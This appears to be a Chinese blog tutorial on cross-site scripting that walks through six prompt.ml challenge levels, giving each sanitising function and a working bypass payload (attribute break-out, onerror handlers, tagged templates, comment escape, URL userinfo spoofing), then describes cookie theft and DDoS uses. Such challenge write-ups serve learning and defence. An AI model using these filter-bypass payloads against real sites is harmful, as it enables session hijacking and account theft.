跨站脚本攻击XSS（Cross Site Script）的原理与常见场景分析
时间：2018-08-28 16:34作者：yezheng人气：179
前言
前段时间在网上看到一个网址，好奇之下进去看了看。胜利的条件是你录入一个串，让其调用prompt(1) 。发现里面有好多想不到的东西，今天终于悠闲了来这里说说XSS。
XSS 原理
跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。
XSS 常见场景
一些私人的博客，攻击者恶意评论，弹出alert，这种充其量也就是一个玩笑。但是如果是盗窃cookie，异常提交请求，这些就比较难受了。
prompt(1)
chrome 版本 62.0.3202.75（正式版本） （64 位）
|
1
2
3
4
5
|
function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">';} |
第一个
这是一个开胃菜，没有做任何校验，这种不设防的在现在已经很少了。他把值直接拼入字符串，组成一个DOM input标签，那我们只要正确的把标签闭合掉就可以调用了。
"><script>prompt(1)</script> ,拼出来的字符串为<input type="text" value=""><script>prompt(1)</script>"> ，这样就等于插入了我们的代码。
|
1
2
3
4
5
6
7
|
function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /</?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; } |
第二个
这个已经提升难度了，/</?[^>]+>/gi匹配<>标签内的所有东西,如输入<script>prompt(1)</script>转换过后会出现prompt(1)，内容里面的标签被替换掉了。所以这个我们去尝试不闭合标签，让浏览器自己去容错。
<img src onerror="prompt(1);" 该方法通过img加载src失败会调用onerror的想法。
|
1
2
3
4
5
6
|
function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input;} |
第三个
这个就有点略坑了/[=(]/g把所以的=号和(号都替换掉了，这样我们尝试调用的时候就不能使用这些东西了。使用的方法是通过模板字符串的标签模板，这个ES6的特性。 <script>prompt`1`</script>看样子我们这样写就可以了，但是为什么没有生效呢？下面的图可以看出来，这样的话传入的是字符串，判断是不通过的,所以我们要修改一下<script>prompt.call${1}</script> ,这样就可以跑过验证了。（话说markdown如何在``里面写``）
|
1
2
3
4
5
6
|
function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->';} |
第四个
这个看上去是把你写的内容都放在了html的注释语句里面，并且用/->/g替换了一把。我想到的方案有条件注释，但是条件注释这是IE的东西，我们就先不测试了。
--!><img src onerror="prompt(1);" 使用这个可以关闭
|
1
2
3
4
5
6
7
8
9
10
11
12
|
function escape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?//prompt.ml//i .test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; }} |
第五个
这个是通过伪造url，我们使用的是访问带有用户名、密码保护的 URL来伪造。
http://prompt.ml%2f@urlurl为一个网络地址引用的js，内容为prompt(1)。本来想尝试一下data:text/html,<html><script>prompt(1)</script></html>但是没有成功，然后javascript:;和about:blank也没有通过，挺失落。
|
1
2
3
4
5
6
|
function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">';} |
第六个
/>|on.+?=|focus/gi替换了>、onxxxx=和focus。通过input特殊的type类型。
`"type=image src onerror
="prompt(1)`
通过xss能做的事情
有很多，绝大多数的网络攻击行为都是把xss作为漏洞链中的第一环。通过xss，黑客可以得到的最直接的利益就是拿到用户浏览器（或者一些类浏览器app）的cookie。由于目前web系统中实现session的办法主要是cookie，所以一旦黑客拿到了用户的cookie，就可以劫持用户的session，从而变相达到盗取用户账号的目的。
xss也使黑客可以以受害用户的ip地址向其他站点发起web攻击，因为一切的攻击脚本都可以借受害用户的浏览器执行。
以这样的方式，将xss配合起csrf、sql注入等漏洞可以在短时间内对一个服务器发起大量攻击，并且服务端无法将攻击ip封死，因为ip是成百上千的xss受害者的ip。
2015年github遭遇的大规模DDOS，实际上就是黑客以某种方式把而已脚本植入到“熊场”的广告联盟iframe中，从而对github的某些接口实施攻击，最终达到DDOS的效果。
另外，持久性xss的传播性极强，由于web的特点是轻量级、灵活性高，每个用户每天都可能访问很多web站点，每个web站点每天都有成千上万的来访。所以将xss攻击配合起一些系统内核级的漏洞，完全可能在几个小时之内击垮几百万台智能设备。
如今的xss
相比网上很多资料中，在技术上已经发生了很大变化。由于各大网站加强了对于js脚本、html标签等关键信息的过滤，单纯依靠植入javascript代码很难实施攻击。
PC端页面，一些视频类、页游网站存在大量的flash内嵌在页面中，可以尝试将flash代码植入，往往可以规避网站安全过滤。移动端页面，可以植入native代码（android系统植入java，ios系统植入oc）。
网友评论